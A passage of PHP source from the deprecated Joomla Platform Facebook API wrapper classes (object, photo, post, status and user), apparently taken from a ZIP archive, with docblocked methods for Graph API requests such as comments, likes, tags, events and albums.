the header of the request
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The request response.
*
* @since 3.2.0
* @throws DomainException
*/
public function sendRequest($path, $data = '', array $headers =
null, $limit = 0, $offset = 0, $until = null, $since = null)
{
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $limit,
$offset, $until, $since), $headers);
$response = json_decode($response->body);
// Validate the response.
if (property_exists($response, 'error'))
{
throw new RuntimeException($response->error->message);
}
return $response;
}
/**
* Method to get an object.
*
* @param string $object The object id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function get($object)
{
if ($this->oauth != null)
{
if ($this->oauth->isAuthenticated())
{
$response = $this->oauth->query($this->fetchUrl($object));
return json_decode($response->body);
}
else
{
return false;
}
}
// Send the request.
return $this->sendRequest($object);
}
/**
* Method to get object's connection.
*
* @param string $object The object id.
* @param string $connection The object's connection name.
* @param string $extraFields URL fields.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted
by strtotime.
* @param string $since A unix timestamp or any date accepted
by strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getConnection($object, $connection = null, $extraFields =
'', $limit = 0, $offset = 0, $until = null, $since = null)
{
$path = $object . '/' . $connection . $extraFields;
if ($this->oauth != null)
{
if ($this->oauth->isAuthenticated())
{
$response = $this->oauth->query($this->fetchUrl($path, $limit,
$offset, $until, $since));
if (strcmp($response->body, ''))
{
return json_decode($response->body);
}
else
{
return $response->headers['Location'];
}
}
else
{
return false;
}
}
// Send the request.
return $this->sendRequest($path, '', null, $limit, $offset,
$until, $since);
}
/**
* Method to create a connection.
*
* @param string $object The object id.
* @param string $connection The object's connection name.
* @param array $parameters The POST request parameters.
* @param array $headers An array of name-value pairs to include
in the header of the request
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createConnection($object, $connection = null, $parameters
= null, array $headers = null)
{
if ($this->oauth->isAuthenticated())
{
// Build the request path.
if ($connection != null)
{
$path = $object . '/' . $connection;
}
else
{
$path = $object;
}
// Send the post request.
$response = $this->oauth->query($this->fetchUrl($path),
$parameters, $headers, 'post');
return json_decode($response->body);
}
else
{
return false;
}
}
/**
* Method to delete a connection.
*
* @param string $object The object id.
* @param string $connection The object's connection name.
* @param string $extraFields URL fields.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteConnection($object, $connection = null, $extraFields
= '')
{
if ($this->oauth->isAuthenticated())
{
// Build the request path.
if ($connection != null)
{
$path = $object . '/' . $connection . $extraFields;
}
else
{
$path = $object . $extraFields;
}
// Send the delete request.
$response = $this->oauth->query($this->fetchUrl($path), null,
array(), 'delete');
return json_decode($response->body);
}
else
{
return false;
}
}
/**
* Method used to set the OAuth client.
*
* @param JFacebookOAuth $oauth The OAuth client object.
*
* @return JFacebookObject This object for method chaining.
*
* @since 3.2.0
*/
public function setOAuth($oauth)
{
$this->oauth = $oauth;
return $this;
}
/**
* Method used to get the OAuth client.
*
* @return JFacebookOAuth The OAuth client
*
* @since 3.2.0
*/
public function getOAuth()
{
return $this->oauth;
}
}
PKJn�[�'��facebook/photo.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Photo class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/photo/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookPhoto extends JFacebookObject
{
/**
* Method to get a photo. Requires authentication and user_photos or
friends_photos permission for private photos.
*
* @param string $photo The photo id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPhoto($photo)
{
return $this->get($photo);
}
/**
* Method to get a photo's comments. Requires authentication and
user_photos or friends_photos permission for private photos.
*
* @param string $photo The photo id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($photo, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($photo, 'comments',
'', $limit, $offset, $until, $since);
}
/**
* Method to comment on a photo. Requires authentication and
publish_stream permission, user_photos or friends_photos permission for
private photos.
*
* @param string $photo The photo id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($photo, $message)
{
// Set POST request parameters.
$data['message'] = $message;
return $this->createConnection($photo, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission, user_photos or friends_photos permission for private photos.
*
* @param string $comment The comment's id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get photo's likes. Requires authentication and
user_photos or friends_photos permission for private photos.
*
* @param string $photo The photo id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($photo, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($photo, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a photo. Requires authentication and publish_stream
permission, user_photos or friends_photos permission for private photos.
*
* @param string $photo The photo id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($photo)
{
return $this->createConnection($photo, 'likes');
}
/**
* Method to unlike a photo. Requires authentication and publish_stream
permission, user_photos or friends_photos permission for private photos.
*
* @param string $photo The photo id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($photo)
{
return $this->deleteConnection($photo, 'likes');
}
/**
* Method to get the Users tagged in the photo. Requires authentication
and user_photos or friends_photos permission for private photos.
*
* @param string $photo The photo id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getTags($photo, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($photo, 'tags', '',
$limit, $offset, $until, $since);
}
/**
* Method to tag one or more Users in a photo. $to or $tagText required.
* Requires authentication and publish_stream permission, user_photos
permission for private photos.
*
* @param string $photo The photo id.
* @param mixed $to ID of the User or an array of Users to tag
in the photo: [{"id":"1234"},
{"id":"12345"}].
* @param string $tagText A text string to tag.
* @param integer $x x coordinate of tag, as a percentage offset
from the left edge of the picture.
* @param integer $y y coordinate of tag, as a percentage offset
from the top edge of the picture.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createTag($photo, $to = null, $tagText = null, $x = null,
$y = null)
{
// Set POST request parameters.
if (is_array($to))
{
$data['tags'] = $to;
}
else
{
$data['to'] = $to;
}
if ($tagText)
{
$data['tag_text'] = $tagText;
}
if ($x)
{
$data['x'] = $x;
}
if ($y)
{
$data['y'] = $y;
}
return $this->createConnection($photo, 'tags', $data);
}
/**
* Method to update the position of the tag for a particular Users in a
photo.
* Requires authentication and publish_stream permission, user_photos
permission for private photos.
*
* @param string $photo The photo id.
* @param string $to ID of the User to update tag in the photo.
* @param integer $x x coordinate of tag, as a percentage offset
from the left edge of the picture.
* @param integer $y y coordinate of tag, as a percentage offset
from the top edge of the picture.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function updateTag($photo, $to, $x = null, $y = null)
{
// Set POST request parameters.
$data['to'] = $to;
if ($x)
{
$data['x'] = $x;
}
if ($y)
{
$data['y'] = $y;
}
return $this->createConnection($photo, 'tags', $data);
}
/**
* Method to get the album-sized view of the photo. Requires
authentication and user_photos or friends_photos permission for private
photos.
*
* @param string $photo The photo id.
* @param boolean $redirect If false this will return the URL of the
picture without a 302 redirect.
*
* @return string URL of the picture.
*
* @since 3.2.0
*/
public function getPicture($photo, $redirect = true)
{
$extra_fields = '';
if ($redirect == false)
{
$extra_fields = '?redirect=false';
}
return $this->getConnection($photo, 'picture',
$extra_fields);
}
}
PKJn�[�Jloofacebook/post.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Post class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/post/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookPost extends JFacebookObject
{
/**
* Method to get a post. Requires authentication and read_stream
permission for all data.
*
* @param string $post The post id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPost($post)
{
return $this->get($post);
}
/**
* Method to delete a post if it was created by this application. Requires
authentication and publish_stream permission
*
* @param string $post The post id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deletePost($post)
{
return $this->deleteConnection($post);
}
/**
* Method to get a post's comments. Requires authentication and
read_stream permission.
*
* @param string $post The post id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($post, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($post, 'comments', '',
$limit, $offset, $until, $since);
}
/**
* Method to comment on a post. Requires authentication and publish_stream
permission
*
* @param string $post The post id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($post, $message)
{
// Set POST request parameters.
$data['message'] = $message;
return $this->createConnection($post, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission
*
* @param string $comment The comment's id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get post's likes. Requires authentication and
read_stream permission.
*
* @param string $post The post id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($post, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($post, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a post. Requires authentication and publish_stream
permission
*
* @param string $post The post id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($post)
{
return $this->createConnection($post, 'likes');
}
/**
* Method to unlike a post. Requires authentication and publish_stream
permission
*
* @param string $post The post id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($post)
{
return $this->deleteConnection($post, 'likes');
}
}
PKJn�[�)O""facebook/status.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Status class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/status/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookStatus extends JFacebookObject
{
/**
* Method to get a status message. Requires authentication.
*
* @param string $status The status message id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getStatus($status)
{
return $this->get($status);
}
/**
* Method to get a status message's comments. Requires
authentication.
*
* @param string $status The status message id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($status, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($status, 'comments',
'', $limit, $offset, $until, $since);
}
/**
* Method to post a comment to the status message. Requires authentication
and publish_stream and user_status or friends_status permission.
*
* @param string $status The status message id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($status, $message)
{
// Set POST request parameters.
$data['message'] = $message;
return $this->createConnection($status, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
and user_status or friends_status permission.
*
* @param string $comment The comment's id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get a status message's likes. Requires authentication.
*
* @param string $status The status message id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($status, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($status, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like status message. Requires authentication and
publish_stream and user_status or friends_status permission.
*
* @param string $status The status message id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createLike($status)
{
return $this->createConnection($status, 'likes');
}
/**
* Method to unlike a status message. Requires authentication and
publish_stream and user_status or friends_status permission.
*
* @param string $status The status message id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteLike($status)
{
return $this->deleteConnection($status, 'likes');
}
}
PKJn�[�)0��facebook/user.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API User class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/user/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookUser extends JFacebookObject
{
/**
* Method to get the specified user's details. Authentication is
required only for some fields.
*
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getUser($user)
{
return $this->get($user);
}
/**
* Method to get the specified user's friends. Requires
authentication.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFriends($user, $limit = 0, $offset = 0)
{
return $this->getConnection($user, 'friends', '',
$limit, $offset);
}
/**
* Method to get the user's incoming friend requests. Requires
authentication and read_requests permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFriendRequests($user, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($user, 'friendrequests',
'', $limit, $offset, $until, $since);
}
/**
* Method to get the user's friend lists. Requires authentication and
read_friendlists permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFriendLists($user, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($user, 'friendlists',
'', $limit, $offset, $until, $since);
}
/**
* Method to get the user's wall. Requires authentication and
read_stream permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFeed($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'feed', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the user's news feed. Requires authentication and
read_stream permission.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param string $filter User's stream filter.
* @param boolean $location Retrieve only posts with a location
attached.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getHome($user, $filter = null, $location = false, $limit =
0, $offset = 0, $until = null, $since = null)
{
$extra_fields = '';
if ($filter != null)
{
$extra_fields = '?filter=' . $filter;
}
if ($location == true)
{
$extra_fields .= (strpos($extra_fields, '?') === false) ?
'?with=location' : '&with=location';
}
return $this->getConnection($user, 'home', $extra_fields,
$limit, $offset, $until, $since);
}
/**
* Method to see if a user is a friend of the current user. Requires
authentication.
*
* @param mixed $currentUser Either an integer containing the user ID
or a string containing the username for the current user.
* @param mixed $user Either an integer containing the user ID
or a string containing the username for the user.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function hasFriend($currentUser, $user)
{
return $this->getConnection($currentUser, 'friends/' .
$user);
}
/**
* Method to get mutual friends of one user and the current user. Requires
authentication.
*
* @param mixed $currentUser Either an integer containing the user
ID or a string containing the username for the current user.
* @param mixed $user Either an integer containing the user
ID or a string containing the username for the user.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getMutualFriends($currentUser, $user, $limit = 0, $offset
= 0)
{
return $this->getConnection($currentUser, 'mutualfriends/' .
$user, '', $limit, $offset);
}
/**
* Method to get the user's profile picture. Requires authentication.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param boolean $redirect If false this will return the URL of the
profile picture without a 302 redirect.
* @param string $type To request a different photo use square |
small | normal | large.
*
* @return string The URL to the user's profile picture.
*
* @since 3.2.0
*/
public function getPicture($user, $redirect = true, $type = null)
{
$extra_fields = '';
if ($redirect == false)
{
$extra_fields = '?redirect=false';
}
if ($type != null)
{
$extra_fields .= (strpos($extra_fields, '?') === false) ?
'?type=' . $type : '&type=' . $type;
}
return $this->getConnection($user, 'picture',
$extra_fields);
}
/**
* Method to get the user's family relationships. Requires
authentication and user_relationships permission..
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFamily($user, $limit = 0, $offset = 0)
{
return $this->getConnection($user, 'family', '',
$limit, $offset);
}
/**
* Method to get the user's notifications. Requires authentication
and manage_notifications permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param boolean $read Enables you to see notifications that the
user has already read.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getNotifications($user, $read = null, $limit = 0, $offset
= 0, $until = null, $since = null)
{
if ($read == true)
{
$read = '?include_read=1';
}
// Send the request.
return $this->getConnection($user, 'notifications', $read,
$limit, $offset, $until, $since);
}
/**
* Method to mark a notification as read. Requires authentication and
manage_notifications permission.
*
* @param string $notification The notification id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function updateNotification($notification)
{
$data['unread'] = 0;
return $this->createConnection($notification, null, $data);
}
/**
* Method to get the user's permissions. Requires authentication.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPermissions($user, $limit = 0, $offset = 0)
{
return $this->getConnection($user, 'permissions',
'', $limit, $offset);
}
/**
* Method to revoke a specific permission on behalf of a user. Requires
authentication.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param string $permission The permission to revoke. If none
specified, then this will de-authorize the application completely.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deletePermission($user, $permission = '')
{
return $this->deleteConnection($user, 'permissions',
'?permission=' . $permission);
}
/**
* Method to get the user's albums. Requires authentication and
user_photos or friends_photos permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getAlbums($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'albums', '',
$limit, $offset, $until, $since);
}
/**
* Method to create an album for a user. Requires authentication and
publish_stream permission.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param string $name Album name.
* @param string $description Album description.
* @param string $privacy A JSON-encoded object that defines the
privacy setting for the album.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createAlbum($user, $name, $description = null, $privacy =
null)
{
// Set POST request parameters.
$data = array();
$data['name'] = $name;
$data['description'] = $description;
$data['privacy'] = $privacy;
return $this->createConnection($user, 'albums', $data);
}
/**
* Method to get the user's checkins. Requires authentication and
user_checkins or friends_checkins permission
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getCheckins($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'checkins', '',
$limit, $offset, $until, $since);
}
/**
* Method to create a checkin for a user. Requires authentication and
publish_checkins permission.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param string $place Id of the Place Page.
* @param string $coordinates A JSON-encoded string containing
latitute and longitude.
* @param string $tags Comma separated list of USER_IDs.
* @param string $message A message to add to the checkin.
* @param string $link A link to add to the checkin.
* @param string $picture A picture to add to the checkin.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createCheckin($user, $place, $coordinates, $tags = null,
$message = null, $link = null, $picture = null)
{
// Set POST request parameters.
$data = array();
$data['place'] = $place;
$data['coordinates'] = $coordinates;
$data['tags'] = $tags;
$data['message'] = $message;
$data['link'] = $link;
$data['picture'] = $picture;
return $this->createConnection($user, 'checkins', $data);
}
/**
* Method to get the user's likes. Requires authentication and
user_likes or friends_likes permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to see if a user likes a specific Page. Requires authentication.
*
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
* @param string $page Facebook ID of the Page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function likesPage($user, $page)
{
return $this->getConnection($user, 'likes/' . $page);
}
/**
* Method to get the current user's events. Requires authentication
and user_events or friends_events permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getEvents($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'events', '',
$limit, $offset, $until, $since);
}
/**
* Method to create an event for a user. Requires authentication
create_event permission.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param string $name Event name.
* @param string $startTime Event start time as UNIX timestamp.
* @param string $endTime Event end time as UNIX timestamp.
* @param string $description Event description.
* @param string $location Event location.
* @param string $locationId Facebook Place ID of the place the Event
is taking place.
* @param string $privacyType Event privacy setting, a string
containing 'OPEN' (default), 'CLOSED', or
'SECRET'.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createEvent($user, $name, $startTime, $endTime = null,
$description = null,
$location = null, $locationId = null, $privacyType = null)
{
// Set POST request parameters.
$data = array();
$data['start_time'] = $startTime;
$data['name'] = $name;
$data['end_time'] = $endTime;
$data['description'] = $description;
$data['location'] = $location;
$data['location_id'] = $locationId;
$data['privacy_type'] = $privacyType;
return $this->createConnection($user, 'events', $data);
}
/**
* Method to edit an event. Requires authentication create_event
permission.
*
* @param mixed $event Event ID.
* @param string $name Event name.
* @param string $startTime Event start time as UNIX timestamp.
* @param string $endTime Event end time as UNIX timestamp.
* @param string $description Event description.
* @param string $location Event location.
* @param string $locationId Facebook Place ID of the place the Event
is taking place.
* @param string $privacyType Event privacy setting, a string
containing 'OPEN' (default), 'CLOSED', or
'SECRET'.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function editEvent($event, $name = null, $startTime = null,
$endTime = null, $description = null,
$location = null, $locationId = null, $privacyType = null)
{
// Set POST request parameters.
$data = array();
$data['start_time'] = $startTime;
$data['name'] = $name;
$data['end_time'] = $endTime;
$data['description'] = $description;
$data['location'] = $location;
$data['location_id'] = $locationId;
$data['privacy_type'] = $privacyType;
return $this->createConnection($event, null, $data);
}
/**
* Method to delete an event. Note: you can only delete the event if it
was created by the same app. Requires authentication create_event
permission.
*
* @param string $event Event ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteEvent($event)
{
return $this->deleteConnection($event);
}
/**
* Method to get the groups that the user belongs to. Requires
authentication and user_groups or friends_groups permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getGroups($user, $limit = 0, $offset = 0)
{
return $this->getConnection($user, 'groups', '',
$limit, $offset);
}
/**
* Method to get the user's posted links. Requires authentication and
user_groups or friends_groups permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLinks($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'links', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a link on user's feed. Requires authentication and
publish_stream permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param string $link Link URL.
* @param string $message Link message.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createLink($user, $link, $message = null)
{
// Set POST request parameters.
$data = array();
$data['link'] = $link;
$data['message'] = $message;
return $this->createConnection($user, 'feed', $data);
}
/**
* Method to delete a link. Requires authentication and publish_stream
permission.
*
* @param mixed $link The Link ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLink($link)
{
return $this->deleteConnection($link);
}
/**
* Method to get the user's notes. Requires authentication and
user_groups or friends_groups permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getNotes($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'notes', '',
$limit, $offset, $until, $since);
}
/**
* Method to create a note on the behalf of the user.
* Requires authentication and publish_stream permission, user_groups or
friends_groups permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
